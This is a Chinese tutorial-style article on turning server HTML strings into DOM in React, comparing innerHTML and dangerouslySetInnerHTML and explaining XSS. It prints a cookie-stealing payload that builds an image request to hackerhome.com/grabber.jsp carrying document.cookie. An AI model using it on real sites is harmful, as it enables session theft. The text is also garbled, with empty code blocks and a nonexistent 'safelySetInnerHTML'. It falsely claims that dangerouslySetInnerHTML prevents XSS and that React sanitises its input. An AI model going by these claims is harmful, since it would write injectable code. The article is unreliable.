在React中,我们需要将服务器接口传过来的HTML文本字符串转换成DOM对象。有两种方法可以实现这个功能:
1. 使用innerHTML属性:
```javascript
function parseToDOM(str){
var div = document.createElement("div");
if(typeof str == "string")
div.innerHTML = str;
return div.childNodes;
}
```
2. 使用dangerouslySetInnerHTML属性:
```html
```
在这里,我们使用dangerouslySetInnerHTML属性将字串形式的HTML转译给render来使用。这样可以防止XSS攻击,并能将Unicode编码进行呈现。需要注意的是,通过开发工具查看时,使用dangerouslySetInnerHTML生成的DOM元素不会有data-reactid属性。在实际应用中,当制作复杂的component时,可以使用这种方法来降低render时的结构复杂度。
不合时宜地使用 innerHTML 可能会导致跨站脚本攻击(XSS)。在净化用户输入并显示时,经常会出现错误或不合适的净化,这也是导致网页攻击的原因之一。我们的设计哲学是让确保安全变得简单,开发者在执行“不安全”操作时应该清楚自己的意图。dangerouslySetInnerHTML 这个 prop 的命名是故意这么设置的,以此来警告开发者,它的 prop 值(一个对象而不是字符串)应该被用来表明净化后的数据。
将上面的代码改为如下,就可以访问了:
《让 React 正常显示你的 html 代码:dangerouslySetInnerHTML》
这么做的意义在于,{html:...} 背后的目的是表明它会被当成“type/taint”类型处理。这种包裹对象可以通过方法调用返回净化后的数据,随后这种标记过的数据可以用于 DOM 更新。注意,html 是两个下划线被传递给 dangerouslySetInnerHTML。
这个功能主要被用来与 DOM 字符串操作类库一起使用,所以提供的 HTML 必须要格式清晰(例如:传递 XML 校验)。这些解释是来自于官方说法。读完有点一头雾水,这是因为我们不了解什么是跨站脚本攻击(XSS),当你了解这个攻击的时候,其实理解起来就比较好理解一些。
什么是跨站脚本攻击(XSS)?
XSS** 示例**
在深入了解 XSS 的各个方面之前,让我们首先了解 XSS 攻击到底是怎样完成的。以一个博客应用为例。其常常需要允许读者对博主的文章进行评论。在输入评论的编辑栏中,我们可以输入对该文章的评论,也可以输入以下 HTML 标记:
```html
```
当读者按下提交键之后,该标记将被提交到服务器上,并在其他用户访问时作为评论显示。此时该用户所看到网页中包含该标记的部分元素可能为:
```html
```
React 的做法是不直接读取你的 HTML 代码,以此来避免跨站脚本攻击(XSS),让你的代码更加安全。当用户输入的内容包含潜在的恶意脚本时,浏览器会将其视为外部内容并进行转义,从而防止 XSS 攻击。
例如,当用户在评论框中输入以下内容时:
```html
```
浏览器会将其转义为:
```html
<div>
<Script>alert(“XSS attack available!”);</Script>
</div>
```
这样,恶意脚本就被转义了,不会被执行。而对于真正的图片 URL,如:
```html
```
浏览器同样会将其转义为:
```html
<script>document.write(“<img src=http://www.hackerhome.com/grabber.jsp?msg=”+document.cookie+“ width=16 height=16 border=0 />”);</script>
```
这样,恶意脚本同样会被转义,不会被执行。因此,React 的做法可以有效地防止 XSS 攻击,保护用户的安全。
cross-site scripting (XSS) 攻击是一种常见的网络安全漏洞,它允许攻击者在受害者的浏览器上执行恶意脚本。了解如何防范 XSS 攻击对于保障网站和应用程序的安全至关重要。
在实际开发中,我们经常需要将服务器接口传过来的 HTML 文本字符串转换成 DOM 对象进行操作。有以下两种方法可以实现这个功能:
1. 使用 innerHTML:
```html
这种方法简单直接,但可能存在安全隐患。因为 innerHTML 直接将字符串插入到 DOM 树中,如果字符串中包含恶意脚本代码,那么这些脚本代码将在页面上执行。
2. 使用 createElement():
```javascript
function parseToDOM(str) {
var div = document.createElement('div'); // 注意这里的标签名是 'div',而不是 '
if (typeof str !== 'string') return div; // 如果传入的参数不是字符串,直接返回 div
div.innerHTML = str; // 将字符串作为 HTML 标签插入 div
return div.firstChild; // 返回插入的第一个子节点,即转换后的 DOM 对象
}
```
通过这种方法,我们可以确保只解析安全的 HTML 标签和属性,避免执行恶意脚本。需要注意的是,这种方法仍然无法阻止 XSS 攻击,因此在处理用户输入时,还需要对数据进行适当的过滤和转义。
angerouslySetInnerHTML 是一个 React 组件中的属性,它允许开发者在组件的内部插入 HTML 字符串。然而,这个属性在某些情况下可能会导致安全问题,因为它可以被恶意利用来执行跨站脚本攻击(XSS)。
为了避免这种情况,React 官方文档建议在使用 dangerouslySetInnerHTML 时,使用一个名为 "html" 的对象属性来传递需要插入的 HTML 内容。这样,React 就可以通过方法调用返回净化后的数据,并且可以将标记过的数据插入到 DOM 中。
下面是一个使用 safelySetInnerHTML 的例子:
```jsx
function MyComponent() {
const htmlContent = '
这是一段 加粗 的文字。
';return (
);
}
```
在这个例子中,我们将 HTML 内容存储在一个名为 "htmlContent" 的变量中,并将其作为对象的一个属性传递给 dangerouslySetInnerHTML。这样,React 就会对 "htmlContent" 进行净化,然后将其插入到 DOM 中。
用户在网页上看到的内容可能包含一个文本区域,其样式为:
```html
```
当读者在该文本区域中输入内容并按下提交键后,这些内容将被提交到服务器上。在其他用户访问该页面时,作为评论显示。因此,用户可能会看到包含恶意代码的文本。
在这种情况下,攻击者可以在提交的评论中插入恶意脚本,例如跨站脚本攻击(XSS)。这样一来,当其他用户访问该评论时,恶意脚本将在他们的浏览器中执行,可能导致各种安全问题。为了防止此类攻击,网站开发者需要对用户提交的内容进行过滤和验证,以确保其中不包含恶意代码。
|
1
2
3
|
从用户的角度来看,该网页中就出现了一个警告。也就是说,用户输入的脚本语言已经被用户的浏览器成功执行。当然,这可能只是一个对该网站的善意提醒。但是对于一个真正具有恶意的攻击者,其所插入的脚本代码更可能如下所示:
document.write(document.cookie.replace('width=16 height=16 border=0', 'width=16 height=16 border=0'));
该段脚本的目的是在当前评论中插入一张图片,而这张图片对应的URL指向了hackerhome网站上的grabber.jsp页面。对于访问这评论的用户来说,这只是一个无法显示的图片。然而,对于恶意攻击者来说,这个JSP页面会自动记录传入的msg参数内容,即访问评论用户所使用的cookie。这个cookie可能包含用户的敏感信息,甚至是用户名、密码等重要信息。
为了避免这种攻击,react的做法是不直接读取用户的HTML代码。这样可以使你的代码更加安全。如果你想了解更多关于这种攻击的介绍,可以参考这篇文章。